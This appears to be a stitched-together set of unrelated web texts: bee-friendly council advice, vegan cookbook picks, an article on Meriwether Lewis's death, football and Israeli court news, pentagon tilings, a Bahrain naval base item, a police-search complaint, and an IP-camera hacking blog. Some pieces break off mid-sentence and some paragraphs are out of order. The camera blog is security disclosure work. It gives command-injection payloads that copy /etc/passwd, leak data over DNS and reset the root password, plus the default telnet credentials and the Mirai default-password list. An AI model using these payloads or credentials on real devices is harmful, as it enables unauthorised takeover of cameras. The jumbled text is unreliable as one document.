Actions® LLC Various Trademarks held by their respective owners This website is not intended for viewing or usage by European Union citizens.How Can Councils Help Bees? I am sometimes asked How Can Councils Help Bees? What can we do in our communities to help bees? These are good questions, because you and I can exert a great deal of influence on the activities of councils in our local areas. So why not ask your council to help bees and pollinators? Councils Can And Should Help Bees And Pollinators In the end, helping the bees is everyone's responsibility. There are many ways in which councils can do their bit - indeed, they have major control over how large areas of public land is managed, but remember, they work for you! In general, the cost of helping the bees can be negligible – whilst the cost of not doing so could be very high ultimately, not only in terms of the loss of pollination services for the growing of food, but also the loss of biodiversity for future generations. We are not only talking about the loss of bee species here, but the potential demise of flower landscapes, and the inability of plants, trees, shrubs to fruit and produce seeds upon which birds, mammals and other creatures may depend (directly or indirectly). How Can Councils Help Bees And Other Pollinators? It's not rocket science! In a nutshell: by creating and preserving bee-friendly habitats by cutting out pesticide use by encouraging education and awareness. But anyway, here are a few specific suggestions you could share with your local council and community groups. I’m sure you can think of more! How Can Councils Help Bees? A Few Ideas…. Ask your council to create a local ‘Pollinator Protection Plan’ – with specific actions they themselves, and any sub-contractors they pay on our behalf (to manage land and planting schemes in public spaces) must implement. Ask the council to include regular progress reviews. Ask your council not to mow the roadside verges, and instead, to designate them ‘Pollinator Verges’ (you could even call them ‘Bee Roads’!) and to actively create and link up pollinator corridors to wildflower meadows and habitats. Having regularly phoned my local council over the last few years, I can tell you, the message has got through! I have encouraged others to do the same. Our local council has significantly reduced mowing of verges as a result. Be sure to phone up your council and praise them too, when they get it right. Also, do be aware that there are sometimes genuine reasons why a roadside verge must be mown – for example, to maintain visibility at road junctions etc. Councils can Help bees by leaving wildflowers to grow along roadside verges, of course! Below is an example of an un-mown roadside verge close to me. It may not look much from the photograph, but it really is ideal for bees and other pollinators. The verge features a variety of wildflowers and grasses, including knapweed, clover, colt's foot, dandelion, rosebay willow herb and more. The hedgerow behind is mixed, and contains honeysuckle and stretches of hawthorn among others. Tell your concil you are happy for country lanes used by pedestrians to be left unmown, instead of the obsession with close cropped, tidy (and sterile) verges. This country lane (below) is literally around the corner from my home. It really is bumblebee and butterfly heaven, due to the comfrey, teasels, ivy, nettles, hawthorn and many other wildflowers growing, and it is never mown. Instead, it is left to die back naturally in the winter. Ask your council to replace low value bedding plants in formal planting schemes and floral hanging baskets in town centres with flowers of value to bees and other pollinators. See these resources for ideas of plants to include. Areas of waste land, brown field sites, derelict and ruined sites can become a home to pollinators. Below you can see such an area, again, close to my home. Although it is not easy to identify the many species of wildflower growing in this location, I can assure you, it is pollinator heaven! Bumblebees, solitary bees, honey bees, and a wide range of butterflies, moths and hoverflies can be seen feeding on a range of flowers, which includes red and white clover, bird's foot trefoil, knapweed, ox eye daisy, various mallow, rosebay willow herb, buttercups, ragwort and more. Ask your council to commit to creating a specific pollinator garden, or designating a space for a pollinator garden to which members of the public can donate bee-friendly plants. Ask councils to preserve hedgerows and trees for bees and other wildlife. Read more about the importance of trees and hedgerows for bees Ask councils to encourage other publicly funded bodies to do their bit for bees and pollinators – and where possible, require them to do so. Again, a garden outside a health clinic or hospital could be designed with bees and pollinators in mind. Ask your council to identify and protect areas where vulnerable species of bees and other pollinators exist. Ask the council to ensure the needs of bees and other pollinators are incorporated into land and building planning. Please ask your council not to use pesticides in planting schemes lawns and public spaces. Ask them to adopt an organic policy for sourcing and growing plants for their planting schemes. Councils are in an excellent position to encourage local businesses to participate in creating bee-friendly spaces where possible. Support your council in their efforts to create space for bees and other pollinators. One reason councils come under pressure to mow verges and use chemicals, is because of the obsession with tidiness. It's a fact, for example, that wildflower verges trap litter more easily than neatly mown ones. The sight of litter can cause the public to phone in and complain. Anything you can do (such as speaking to your school and the local radio station) to discourage litter throwing will be a real help. Again, giving positive feedback and asking others to do the same, will help the council to take a decision not to react to the first negative comment from those who do not understand the importance of these wild flower spaces for our bees, butterflies, moths and hoverflies. How can councils help bees with regard to educational resources? One of the simplest ways is by providing educational materials and resources on the council website, not only for schools, but also for members of the public and even businesses to download. Generally, there is no need for councils to reinvent the wheel on this, because there is so much information available on the internet. The role councils could play might be to research various sources of information, and offer links in one place (i.e. the council website) to some of the many resources available. Alternatively, perhaps the council could come to an arrangement with a relevant wildlife conservation charity to distribute or use any material they have already generated. Councils could also encourage and help schools to create pollinator gardens and bee gardens (see this further information about creating a bee garden). Budget permitting, perhaps they could distribute packets of wildflower seeds to schools? I’m sure you can think of more ways in which councils can help bees! Together, we really do make a difference! Go from How Can Councils Help Bees? to the following links: Top 10 Tips to Save The Bees Gardening for Bees Go back from How Can Councils Help Bees? to Home page COPYRIGHT 2010 - 2019: WWW.BUZZABOUTBEES.NET ALL RIGHTS RESERVED.There was a time when a list like this would have been impossible, because there weren’t enough vegan or vegetarian cookbooks to choose from. Now entire bookstore shelves and even rows are devoted to the genre. If you’re still wondering what to get the animal lover in your life or just interested in integrating a more plant-based way of eating into your routine, here are twenty good places to start. Some of them aren’t purely vegan, but have great vegan recipes in them or provide options that make it easy to veganize. Eat Like You Give a Damn: Recipes for the New Ethical Vegan by Michelle Schwegmann & Josh Hooten New! From the founders of Herbivore Clothing we get realistic recipes and meal ideas from people who walk the walk. Each recipe comes with a detailed nutritional run-down and the photos alone are swoon-worthy. Veganomicon: The Ultimate Vegan Cookbook by Isa Chandra Moskowitz & Terry Hope Romero All of the books in Moskowitz-Romero empire are gorgeous and worthy of being on this list, but it’s the Veganomicon I return to again and again (oh how I love those little Chickpea Fritters!) and it’s the vegan cookbook I see most often in the kitchens of many omnivorous friends, so there’s something special there. Vegan Cupcakes Take Over the World: 75 Dairy-Free Recipes for Cupcakes that Rule by Isa Chandra Moskowitz & Terry Hope Romero The cupcake trend may be dead, but that doesn’t mean you don’t still need one once in awhile. Make your own Mexican Hot Chocolate, Pistachio Rosewater or Carrot Cake with Cream Cheese Frosting cupcakes any time you want with the help of this fun cookbook. Vegan baking is a science, and Moskowitz and Romero are genius Professors of Pastries. Thrive: The Vegan Nutrition Guide to Optimal Performance in Sports and Life by Brendan Brazier The Ironman triathlete behind the VEGA brand brings us part self-help/informative, part layman’s guide to a nutritionally-dense plant-based diet. Aimed at athletes or anyone focused on getting the most energy and vitality from real food, the simplicity of the few-ingredient recipes here is refreshing in a heavily processed and genetically modified world. Cook Food by Lisa Jervis More a vegan-friendly manifesto with some affordable and accessible recipes, this offering from the founder of Bitch Magazine is a good place to start for anyone completely clueless about how to eat in a healthy way. It guides one through buying staples and eating for sustainability and the “What You Need in Your Pantry, Refrigerator and Spice Rack” section alone makes it a perfect gift for anyone just getting started on this whole home cooking thing. The Vegan Slow Cooker by Kathy Hester Just received this as a gift myself—already tried: Smoky Mac and Cheese, Thai Coconut Pumpkin Soup, Mojito Pinto Beans, Scrumptious Strawberry Cornbread, and Asian Greens (which I burned, but that’s my fault for leaving it on high for 10 hours and not noticing the ‘cook on low for 6-8’ note. Whoopsie!) Perfect for the busy person who can’t spend hours creating new concoctions… a crockpot and this cookbook could change your life
end result of the study is, they want to increase storage laws and give penalties to the victims for not storing their guns properly and they make no mention of going after the criminals.” According to Loesch, being penalized for leaving a gun attended is adding insult to injury, akin to shaming a rape victim for being a victim. “That’s like shaming a rape survivor – it’s the exact same logic,” Loesch explained. “How about this, how about they make tougher penalties for individuals who steal? Steal firearms. How about they have harsher punishment for those individuals who break the law?” “These individuals that they are seeking to punish haven’t broken the law. They have been victimized, as you accurately noted. So why in the world would they pass legislation that seeks to further victimize the already victims of these criminal acts?” Loesch was recently featured in an NRA video, direly warning an unspecified “they” are coming to grab American’s guns in a pitch that was described as having racist overtones. Watch the video below via Media Matters:Captain Meriwether Lewis—William Clark’s expedition partner on the Corps of Discovery’s historic trek to the Pacific, Thomas Jefferson’s confidante, governor of the Upper Louisiana Territory and all-around American hero—was only 35 when he died of gunshot wounds sustained along a perilous Tennessee trail called Natchez Trace. A broken column, symbol of a life cut short, marks his grave. But exactly what transpired at a remote inn 200 years ago this Saturday? Most historians agree that he committed suicide; others are convinced he was murdered. Now Lewis’s descendants and some scholars are campaigning to exhume his body, which is buried on national parkland not far from Hohenwald, Tenn. “This controversy has existed since his death,” says Tom McSwain, Lewis’s great-great-great-great nephew who helped start a Web site, “Solve the Mystery,” that lays out family members’ point of view. “When there’s so much uncertainty and doubt, we must have more evidence. History is about finding the truth,” he adds. The National Park Service is currently reviewing the exhumation request. The intrigue surrounding the famous explorer’s untimely death has spawned a cottage industry of books and articles, with experts from a variety of fields, including forensics and mental health, weighing in. Scholars have reconstructed lunar cycles to prove that the innkeeper’s wife couldn’t have seen what she said she saw that moonless night. Black powder pistols have been test-fired, forgeries claimed and mitochondrial DNA extracted from living relatives. Yet even now, precious little is known about the events of October 10, 1809, after Lewis – armed with several pistols, a rifle and a tomahawk – stopped at a log cabin lodging house known as Grinder’s Stand. He and Clark had finished their expedition three years earlier; Lewis, who was by then a governor of the large swath of land that constituted the Upper Louisiana Territory, was on his way to Washington, D.C. to settle financial matters. By some accounts, Lewis arrived at the inn with servants; by others, he arrived alone. That night, Mrs. Grinder, the innkeeper’s wife, heard several shots. She later said she saw a wounded Lewis crawling around, begging for water, but was too afraid to help him. He died, apparently of bullet wounds to the head and abdomen, shortly before sunrise the next day. One of his traveling companions, who arrived later, buried him nearby. His friends assumed it was suicide. Before he left St. Louis, Lewis had given several associates the power to distribute his possessions in the event of his death; while traveling, he composed a will. Lewis had reportedly attempted to take his own life several times a few weeks earlier and was known to suffer from what Jefferson called “sensible depressions of mind.” Clark had also observed his companion’s melancholy states. “I fear the weight of his mind has overcome him,” he wrote after receiving word of Lewis’s fate. At the time of his death Lewis’s depressive tendencies were compounded by other problems: he was having financial troubles and likely suffered from alcoholism and other illnesses, possibly syphilis or malaria, the latter of which was known to cause bouts of dementia. Surprisingly, he may also have felt like something of a failure. Though the Corps of Discovery had traversed thousands of miles of wilderness with few casualties, Lewis and Clark did not find the Northwest Passage to the Pacific, the mission’s primary goal; the system of trading posts that they’d established began to fall apart before the explorers returned home. And now Lewis, the consummate adventurer, suddenly found himself stuck in a desk job. “At the end of his life he was a horrible drunk, terribly depressed, who could never even finish his [expedition] journals,” says Paul Douglas Newman, a professor of history who teaches “Lewis and Clark and The Early American Republic” at the University of Pittsburgh. An American icon, Lewis was also a human being, and the expedition “was the pinnacle of Lewis’s life,” Newman says. “He came back and he just could not readjust. On the mission it was ‘how do we stay alive and collect information?’ Then suddenly you’re heroes. There’s a certain amount of stress to reentering the world. It was like coming back from the moon.” Interestingly, John Guice, one of the most prominent critics of the suicide theory, uses a very different astronaut comparison. Lewis was indeed “like a man coming back from the moon,” Guice notes. But rather than feeling alienated, he would have been busy enjoying a level of Buzz Aldrin-like celebrity. “He had so much to live for,” says Guice, professor emeritus of history at The University of Southern Mississippi and the editor of By His Own Hand? The Mysterious Death of Meriwether Lewis. “This was the apex of a hero’s career. He was the governor of a huge territory. There were songs and poems written about him. This wasn’t just anybody who kicked the bucket.” Besides, how could an expert marksman botch his own suicide and be forced to shoot himself twice? Guice believes that bandits roaming the notoriously dangerous Natchez Trace killed Lewis. Other murder theories range from the scandalous (the innkeeper discovered Lewis in flagrante with Mrs. Grinder) to the conspiratorial (a corrupt Army general named James Wilkinson hatched an assassination plot.) Though Lewis’s mother is said to have believed he was murdered, that idea didn’t have much traction until the 1840s, when a commission of Tennesseans set out to honor Lewis by erecting a marker over his grave. While examining the remains, committee members wrote that “it was more probable that he died at the hands of an assassin.” Unfortunately, they failed to say why. But the science of autopsies has come a long way since then, says James Starrs, a George Washington University Law School professor and forensics expert who is pressing for an exhumation. For one thing, with mitochondrial DNA samples he’s already taken from several of Lewis’ female descendants, scientists can confirm that the body really is Lewis’s (corpses were not uncommon on the Natchez Trace). If the skeleton is his, and intact, they can analyze gunpowder residue to see if he was shot at close range and examine fracture patterns in the skull. They could also potentially learn about his nutritional health, what drugs he was using and if he was suffering from syphilis. Historians would hold such details dear, Starrs says: “Nobody even knows how tall Meriwether Lewis was. We could do the DNA to find out the color of his hair.” Some scholars aren’t so sure that an exhumation will clarify matters. “Maybe there is an answer beneath the monument to help us understand,” says James Holmberg, curator of Special Collections at the Filson Historical Society in Louisville, Ky., who has published work on Lewis’s life and death. “But I don’t know if it would change anybody’s mind one way or the other.” The details of the case are so sketchy that “it’s like trying to grab a shadow,” Holmberg says. “You try to reach out but you can never get a hold of it.” Even minor features of the story fluctuate. In some versions, Seaman, Lewis’s loyal Newfoundland who guarded his master against bears on the long journey West, remained by his grave, refusing to eat or drink. In other accounts, the dog was never there at all. However Lewis died, his death had a considerable effect on the young country. A year and a half after the shooting, ornithologist Alexander Wilson, a friend of Lewis’s, interviewed Mrs. Grinder, becoming one of the first among many people who have investigated the case. He gave the Grinders money to maintain Lewis’s grave and visited the site himself. There, reflecting on the adventure-loving young man who had mapped “the gloomy and savage wilderness which I was just entering alone,” Wilson broke down and wept.Paraguay striker Lucas Barrios, pictured in July 2011, has said he is disgruntled with his treatment at German champions Borussia Dortmund and is considering his options after spending most of the season on the bench Paraguay striker Lucas Barrios has said he is disgruntled with his treatment at German champions Borussia Dortmund and is considering his options after spending most of the season on the bench. The 27-year-old has started just one Bundesliga game this season, despite scoring 16 goals in 32 league games as Dortmund won the German league title in May. Having torn a thigh muscle in the final of the Copa America in July, Barrios lost his place to Poland's Robert Lewandowski in the Dortmund team and says he has had enough after six months on the bench. "I never thought I would live this after all my goals," he told Argentinian website TyC Sports with his contract to expire in 2014. "I am 27 and it's time to think about my career." "I feel very good in football terms, but the coach has decided for another player, I have to respect that decision, because I am professional. "However, I never imagined living in a situation like this having scored so many goals." Although Dortmund manager Michael Zorc has dismissed Barrios' comments, the striker has said he wants to talk to the club about his options after other European teams expressed an interest in signing him last summer. "I have no place (in the team) despite having given so much and I want to discuss my future in the coming weeks," he said. "It is difficult to go six months without playing. "It would be easy to just sit on the bench and not get paid for playing, but that's not my idea (of fun)." "I have years left on my contract, but I prefer to go another direction if I can not play at the club."An Israeli man has been charged over a string of death threats and vandalism targeting a Reform congregation, atheists and Jewish humanists that included leaving large knives with red inscriptions outside the homes and offices of his targets. In an indictment filed by state prosecutors in the Jerusalem District Court on Monday, a 39 year old resident of the predominately ultra-Orthodox city of Bnei Brak was charged with vandalism, extortion and preparing an offense with hazardous substances, stemming from alleged offences carried out since 2014. Kehilat Raanan, a Reform congregation in the affluent city of Raanana in central Israel, was allegedly a repeat victim of the suspect, who was arrested on August 22 on suspicion of planning to commit an arson attack against controversial NGO Breaking the Silence. In November 2016 -- in an incident that Prime Minister Benjamin Netanyahu “strongly condemned" -- the Bnei Brak resident visited the group's premises and left a large knife surrounded by threatening letters addressed to prominent liberal Jews such as leader of Women of the Wall Anat Hoffman, President of the US Union for Reform Judaism Rabbi Rick Jacobs and the leader of the reform movement in Israel, Gilad Kariv. The letters warned their recipients to halt their work and flee Israel, or face "a terribly bad" situation, and also threatened that they "will be fought with sword and blood, and not with words and speeches..." Reform Jews form a hefty chunk of American Jewry, but their flock are outnumbered by national-religious and ultra-Orthodox Jews in Israel, who abhor their liberal religious interpretations. The Reform community has been battling the influential ultra-Orthodox parties in Israel's governing coalition over egalitarian prayer space at Jerusalem's Western Wall and on the issue of conversions, with the government proposing legislation that would strictly limit recognition of conversions to only those performed by Israel's conservative Rabbinate. During the same month as the attack on the Raanana synagogue, scuffles broke out between liberal Jews and ultra-Orthodox worshippers at the Western Wall, and Israel's Interior Minister branded Reform Judaism an "imitation". Atheists, humanists targeted too Members of the Israeli Atheists Association were also frequently targeted. According to the indictment, the accused hunted down the addresses of the group's leaders and then scouted out their homes. After allegedly delivering extortion letters and scrawling "No atheists in the land of Jews!" on his Tel Aviv apartment building, one of the group's leaders was so fearful he halted his public activism and even moved house, the prosecutors allege. One letter also warned atheist Elad Laor that if he did not remove his website 'ScienceReasonIsrael' that he would find himself on a path "of severe suffering". In January 2016 the Jerusalem home of famed Jewish ethicist and humanist Professor Yaakov Malkin, who directs Tmura, the International Institute for Humanistic Secular Judaism, was also targeted, along with his neighbors who had letters dropped in their mailbox claiming that the now-91 year old was a murderer. A knife and letter of blackmail was allegedly stuck on top of Malkin's buzzer, and the accused even enclosed pictures of his past threats against Reform Jews and atheists, apparently as evidence of his seriousness. Malkin's daughter, Rabbi Sivan Malkin Maas, told i24NEWS that her elderly father was largely unperturbed when she read him the letter after discovering it that morning. "I read it to him and at the end I asked'so how do you feel about this?'" she said. "And he asked 'what do you mean? Are you asking me if I am frightened? … You know I have been here since 1934, which means living in Israel, going through the War of Independence and all the other wars - and this is what frightens me?' Malkin Maas added that when news of the threats were published in the media, it elicited an outpouring of support for her father from across Israeli society. "It is unbelievable the support we received from the people in the neighborhood that we have never met, from organizations, really from all over Israel, from members of Knesset who came to support and to visit - both [those] who came to support the cause itself and those who came to support freedom of speech," she said. The unnamed 39 year old was arrested on August 22 in the midst of what prosecutors allege were preparations to set fire to the office of Breaking the Silence, a controversial group of ex-soldiers in the Israeli army who publicize testimonials about their service in the Palestinian Territories. The indictment alleges that he researched the personal information about leaders of the NGO and equipped himself with gasoline in order to "ignite part of the organization's building, in order to terrorize them and make them stop their activity". Prosecutors have applied to remand the man in custody until trial.If you’re into tilings, or just looking to redo your bathroom in the most modern way possible, there’s big news. A team of researchers at the University of Washington-Bothell have discovered a previously unknown way to tile a plane using irregular pentagons. Attempts to tile a plane with regular pentagons never really got off the ground, but until now there were 14 known ways to use irregular convex pentagons to cover a plane. Five were discovered in 1918 by German mathematician Karl Reinhardt, and it was assumed this was the complete list until more were discovered in 1968 and 1975, including four found by housewife Marjorie Rice upon reading about them in Scientific American (covered, of course, by Martin Gardner). The Bothell researchers, Casey Mann, Jennifer McLoud and David Von Derau, employed an exhaustive computer search to find the new shape last month, and will shortly be publishing a paper on their work. The new discovery, which involves a pentagon with angles $60^\circ$, $135^\circ$, $105^\circ$, $90^\circ$ and $150^\circ$, brings the total up to 15, all of which are illustrated below. Aren’t they beautiful? The new one is in the bottom right. It’s still not known whether this is all the possible pentagonal tilings, or whether more are still out there. The team hope they can continue with their method to find other arrangements. Keep looking, pentagon pickers! More Information Attack on the pentagon results in discovery of new mathematical tile, by Alex Bellos at The Guardian A new way to tile your floor (if you like pentagons), by Kevin Knudson at Forbes.comHis Royal Highness the Prince of Wales visited Bahrain where he opened the a naval support facility at the Mina Salman port. The facility is UK’s first new overseas establishment in 45 years. The new building forms part of a larger installation, due to come into service next summer, that will serve personnel stationed in Bahrain as they work to protect shipping lanes in the Persian Gulf. The Crown Prince of Bahrain and The Prince of Wales were welcomed to the site by the United Kingdom maritime component commander, Commodore William Warrender. “We are delighted to have The Crown Prince of Bahrain and The Prince of Wales here to mark this significant milestone in the construction of the UK’s largest military support facility,” said Warrender. “The focus now moves to completing the site with industry partners at Mina Salman port and to prepare the installation for its role supporting operations across the Gulf region.” The two princes were taken on a tour of the new building and met sailors and staff from the UK and Commonwealth who work there. The Welfare Building and infrastructure for the site is part of a gift to the United Kingdom by His Majesty The King of Bahrain, and will provide secure berthing and support facilities for Royal Navy vessels, as well as accommodation including sport and recreational services for up to 500 people. The facility is being built by the Bahraini Defence Force in partnership with Al Dahrani Contracting Company. Specialist support is provided by consultancy firm WYG which advises on compliance with UK standards and regulations. Prince Charles faced criticism once again as activists said that, by opening the base, he ignored human rights abuses committed by the Gulf state. Activists also said that Bahrain funded the construction of the facility to buy western ‘silence’ over its human rights violations.The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the cheapest among all others, my expectations regarding security was low. But this camera was still able to surprise me. Maybe I will disclose the camera model used in my hack in this blog later, but first I will try to contact someone regarding these issues. Unfortunately, it seems a lot of different cameras have this problem, because they share being developed on the same SDK. Again, my expectations are low on this. I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch it's output video, and so on. Most people don't care to change this anyway. It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course. Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password is sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong and China. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice. Let's run a quick nmap on this device. The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27 page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on. The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately it was not working at all, I got invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems which made the exploitation harder. I call this vulnerability double blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleeps was not a real solution. But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory: $(ping%20-c%202%20%60pwd%60) $(ping -c 2 `pwd`) $(cp /etc/passwd /tmp/a) ;copy /etc/passwd to a file which has a shorter name $(cat /tmp/a\|head -1>/tmp/b) ;filter for the first row $(cat</tmp/b\|tr -d''>/tmp/c) ;filter out unwanted characters $(ping `cat /tmp/c`) ;leak it via DNS $(echo 'root:passwd'\|chpasswd) (none) login: root Password: BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. # # cat /tmp/ftpupdate.sh /system/system/bin/ftp -n<<! open ftp.site.com 21 user ftpuser $(echo 'root:passwd'\|chpasswd) binary mkdir PSD-111111-REDACT cd PSD-111111-REDACT lcd /tmp put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg close bye Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panick that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password. Unfortunately there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor. With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default. Last but not least everything is running as root, which is not surprising. My hardening list I added these lines to the end of /system/init/ipcam.sh: sleep 15 echo 'root:CorrectHorseBatteryRedStaple'\|chpasswd Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh. If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh iptables -A OUTPUT -p udp! --dport 53 -j DROP My TODO list Investigate the script /system/system/bin/gmail_thread Investigate the cloud protocol * - see update 2016 10 27 Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump. And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera. When in the next episode of Mr Robot you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality. If you are interested in generic ways to protect your home against IoT, read my previous blog post on this. Update: as you can see on the following screenshot, the bad guys already started to take advantege of this issue... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html Update 20161006: The Mirai source code has been leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs. root xc3511 root vizxv root admin admin admin root 888888 root xmhdipc root default root juantech root 123456 root 54321 support support root (none) admin password root root root 12345 user user admin (none) root pass admin admin1234 root 1111 admin smcadmin admin 1111 root 666666 root password root 1234 root klv123 Administrator admin service service supervisor supervisor guest guest guest 12345 guest 12345 admin1 password administrator 1234 666666 666666 888888 888888 ubnt ubnt root klv1234 root Zte521 root hi3518 root jvbzd root anko root zlxx. root 7ujMko0vizxv root 7ujMko0admin root system root ikwb root dreambox root user root realtek root 00000000 admin 1111111 admin 1234 admin 12345 admin 54321 admin 123456 admin 7ujMko0admin admin 1234 admin pass admin meinsm tech tech mother fucker Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera, if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, but now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included. Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8 Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk Update 2017-03-08: " Because of code reusing, the vulnerabilities are present in a huge list of cameras (especially the InfoLeak and the RCE), which allow to execute root commands against 1250+ camera models with a pre-auth vulnerability. "https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt Update 2017-05-11: CVE-2017-5674 (see above) and my command injection exploit was combined in the Persirai botnet. 120 000 cameras is expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously." This issue might be worse than the Mirai worm, because this effects cameras and other IoT behind NAT where UPNP was enabled. http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/ Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera, if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, but now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-riskUpdate 2017-03-08: "Update 2017-05-11: CVE-2017-5674 (see above) and my command injection exploit was combined in the Persirai botnet. 120 000 cameras is expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."This issue might be worse than the Mirai worm, because this effects cameras and other IoT behind NAT where UPNP was enabled. or cleaned up after URL decode:but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.Following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device... Neither netcat, bash...I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double blind hack was a bit too much for this automated tool unfortunately.But after spending way too much time without progress, I finally found the password to Open Sesame.Now, logging in via telnetWoot woot :) I quickly noticed the root of the command injection problem:root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/shYou can use OpenVPN to connect into your home network, and access the web interface of the camera. It works from Android, iOS, and any desktop OS.139 SHARES Facebook Twitter Google Reddit Tumblr Digg Linkedin Stumbleupon Mail Print Cole Kruper, journalist for NewsInGeneral.com, shared this post via CopBlock.org’s submit page. Do whatever the cop says or else face arrest it seems these days, even if it’s unreasonable. As I’ve said in the past, the days of “protecting and serving” are long gone, replaced with an out of control Police force that seems hell bent on using as much force as possible, as we’ve seen many times. It all shows how your rights don’t matter to them. Your rights matter less and less everyday, with terror threats being used as a ploy to make you think it’s all for your safety. Ask yourself this, if it was all for your safety, then why protect against terrorists when they kill far less than the Police do? Why not fix the broken police system instead? In this article, I’m going to respond to a video that was posted on YouTube (above) depicting Police trampling over someone’s rights, searching this man’s car without consent, and without much of a reason. This all took place at a DUI checkpoint, and Police failed to even ask whether he had been drinking or not. The cop in this case seemed more pissed off that he pulled over a guy that actually knew his rights. The video starts out with the cop asking the driver to roll the window down farther. It was open enough that they could hear one another, hand over documents and so on. The driver did not comply, and instead told the cop that rolling the window down further wasn’t necessary. Already, you can see the cop is not happy. The driver asks the cop at various times whether he is being detained or not. Now I’ve seen various videos in which people ask that question, and usually they get a response. In this case, the cop never answers his question. There are two parts in the video that really stand out, in my opinion. The first part is when the driver is asked to step out of the vehicle. You can hear an officer ask the driver off camera if he is an attorney or something and whether he knows his rights. The driver then confidently states his rights. At this point, you can already tell the cops aren’t too happy with the driver, because he dared know his rights. The next part occurs when the Police are searching the car without consent. They did have a Dog that allegedly gave them an alert, but as you can see in the video, the driver believes it was a false positive, saying that it is easy to coerce the dog into giving the Police an alert. Secondly, the driver (the maker of the video) says he’s never had any illegal substances in the car. While searching the car, the two cops are talking to one another, and one says, “He knows his rights and is perfectly innocent.” Well Mr. Officer, let me give you some common sense advice: If he is perfectly innocent, why the hell are you searching his vehicle? What reason could you possibly have to continue the search when you know the guy is perfectly innocent? Common sense might say let the guy go and apologize for wasting his time. But no, instead of letting the guy go, the cop continues the search, for no reason other than to terrorize the guy, I guess. The officer also sounds annoyed because the guy knew his rights. Was it a pain in the ass to pull over somebody who knew his rights? There is nothing wrong with knowing your rights. Badged thugs seem to have an issue with it, because it makes it harder for them to terrorize you. Then they find the camera, which I’d say was sitting on the passenger side seat. They realize it’s on and turn the camera around of course. Bad cops don’t like the idea of Police accountability; it might actually force them to do their jobs. Just a shame, eh? This is yet another example of why you should record your Police encounter. Your story against 